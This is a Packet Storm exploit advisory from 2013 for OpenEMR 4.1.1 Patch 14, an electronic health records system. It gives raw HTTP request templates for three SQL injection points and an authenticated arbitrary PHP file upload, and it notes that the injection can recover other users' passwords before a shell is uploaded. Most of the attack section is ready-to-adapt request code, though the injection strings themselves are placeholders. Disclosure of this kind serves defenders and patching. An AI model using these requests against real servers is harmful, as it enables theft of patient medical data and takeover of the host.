what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenEMR 4.1.1 Patch 14 SQL Injection / Shell Upload

OpenEMR 4.1.1 Patch 14 SQL Injection / Shell Upload
Posted Sep 17, 2013
Authored by xistence

OpenEMR version 4.1.1 Patch 14 suffers from remote shell upload and remote SQL injection vulnerabilities.

tags | exploit, remote, shell, vulnerability, sql injection
SHA-256 | dd2bb2f9a5d3ce8ac7e4ee72e80cd42dbbbcb6ec9045c094bc63c0831a0f7e7a

OpenEMR 4.1.1 Patch 14 SQL Injection / Shell Upload

Change Mirror Download
###################################################################################################################################
# Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.open-emr.org
# Tested on: CentOS 5.9 32-bit
# Affected Version : 4.1.1 Patch 14 and lower
# Fix: Upgrade to OpenEMR 4.1.2
#
# Software details:
#
# OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on
# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of
# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of
# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.
# The OpenEMR community is dedicated to guarding OpenEMR's status as a free, open source software solution for # medicalpractices
# and is dedicated to maintaining a spirit of openness, kindness and cooperation.
#
###################################################################################################################################


[ SQL Injection ]

[0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible (hash below is the default password "pass")

POST /openemr/interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/login/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

authProvider=Default'[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=

The POST request below could be used to retrieve passwords from other users and gain higher privileges (and after that upload a shell)


[0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.

POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/new/new.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 286

form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat


[0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.
http://<IP>/openemr/interface/patient_file/summary/demographics.php?set_pid=-1[SQLi]


[ Arbitrary file upload ]

[0x01] - It's possible to upload any file after being authenticated.

POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/super/manage_site_files.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870
Content-Length: 355

-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="form_image"; filename="pwned.php"
Content-Type: text/php

<?php phpinfo(); ?>
-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="bn_save"

Save
-----------------------------6745387234061449481375110870--

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close